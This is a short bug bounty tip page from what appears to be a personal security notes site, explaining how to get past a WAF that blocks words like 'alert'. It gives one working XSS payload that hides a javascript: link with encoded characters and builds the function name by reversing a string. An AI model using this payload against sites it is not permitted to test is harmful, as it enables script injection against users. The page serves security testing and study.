🔏
roguebook
  • group
    • Web
      • Concepts
      • OAuth 2.0
      • File upload
    • Android
      • Getting Started
      • Intent Attack Surface
      • Broadcast Receivers
      • Android Permissions
      • Android Services
      • Content and FileProvider
      • WebView & CustomTabs
      • Insecure Storage
      • Tips & Tricks
    • Thick Client
      • Lab Setup
      • Information Gathering
      • Traffic analysis
      • Insecure Data storage
      • Input validation
      • DLL hijacking
      • Forensics
      • Extra resources
    • Blue Team
      • Tools
      • Malware Analysis
        • Basic Static Analysis
    • OSINT
      • OpSec
    • Binary Exploitation
      • Assembly
    • Bug Bounty
      • Recon
        • Dorking
          • SSL Checker
        • Wordlists
          • Twitter wordlist suggestions
      • Tips & Tricks
        • Combined
        • CSP Bypasses & open redirect
        • 403 Bypass
        • Arrays in JSON
        • Open Redirect
        • Next.js Application
        • Locla File Read
        • External Link
        • xss bypass
      • Talks/Interviews/Podcasts
        • Bug Bounty Talks
        • Podcasts
          • Critical Thinking - Bug Bounty Podcast
            • Learning
    • Malware Development
    • Infographics
Powered by GitBook
On this page
  1. group
  2. Bug Bounty
  3. Tips & Tricks

xss bypass

  1. blackist bypass

https://x.com/erickfernandox/status/1845901672414945283

If the WAF doesn't allow the creation of a JavaScript term like 'alert' or 'confirm' in any way, write it inverted and then use reverse() with self[].

Payload:

<a%20href=%0dj&Tab;avascript&colon;x='trela'.split('').reverse().join('');self[x](origin)>
PreviousExternal LinkNextTalks/Interviews/Podcasts

Last updated 4 months ago